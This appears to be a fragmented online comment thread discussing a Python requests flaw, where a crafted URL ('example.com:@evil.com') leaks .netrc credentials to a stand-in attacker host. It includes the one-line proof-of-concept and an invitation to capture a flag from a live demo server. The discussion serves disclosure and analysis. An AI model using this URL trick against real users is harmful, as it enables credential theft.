>requests.get('http://example.com:@evil.com/')
>Assuming .netrc credentials are configured for example.com, they are leaked to evil.com by the call
Instead of having a url parse error it appears to drop the : and use the password:domain format.
That being said, I wonder how big the actual impact here is in practice: how many users actually use .netrc? I’ve been using curl and other network tools for well over a decade and I don’t think I’ve ever used .netrc for site credentials.
Instead it seems to be populated with what seem to be Heroku API and git credentials.
1: https://requests.readthedocs.io/en/latest/api/#requests.Sess...
But honestly urllib sucks:
url.hostname doesn't return the port url.netloc also returns the basic auth part So you have to f"{u.hostname}:{u.port}"
Any programming language these days should ship a decent rfc5234 API in the standard library, so you do not get these kinds of problems in slightly different fashion for each and every library/program.
The vulnerability was originally reported to the library maintainers on September 12, 2024, but no fix is available.
The code doesn't make any reference to a .netrc, but I happen to have one in ~/.netrc:
machine localhost
login *REDACTED*
password CTF{*REDACTED*}
It's not ideal that requests automatically slurps credentials from ~/.netrc and leaks them, even when my code never references it. It's possible that the netrc is on the same server from a different application, developer debugging environment, or just forgotten about etc.First one to grab the flag wins, well, nothing. But have fun. I'll keep it online for a couple of weeks, or until the VC money runs out.
Sorry, you have been blocked
You are unable to access daviey.com
Looks like Cloudflare has decided the whole thing is dodgy. Or doesn't like my IP address...EDIT: I had the security in CF too robust, try now?
EDIT: I do appreciate you removing the solution. Have a great day.
(Even if it's a bad idea now, and compromise of it could result in a bad quarter or regulatory action, legacy systems and priorities happen.)
> Push code review advice from @sigmavirus24
The code already had `host = ri.netloc.split(':')[0]` before that.
The actual root issue is urlparse doesn't split the host, user, pass and port and trying to do it manually is very error prone:
urllib.parse.urlparse('http://example.com:@evil.com:8080/')
ParseResult(scheme='http', netloc='example.com:@evil.com:8080', path='/', params='', query='', fragment='')
Compare this with php: parse_url ('http://example.com:@evil.com:8080/')
[
"scheme" => "http",
"host" => "evil.com",
"port" => 8080,
"user" => "example.com",
"pass" => "",
"path" => "/",
]
dcrazy•1d ago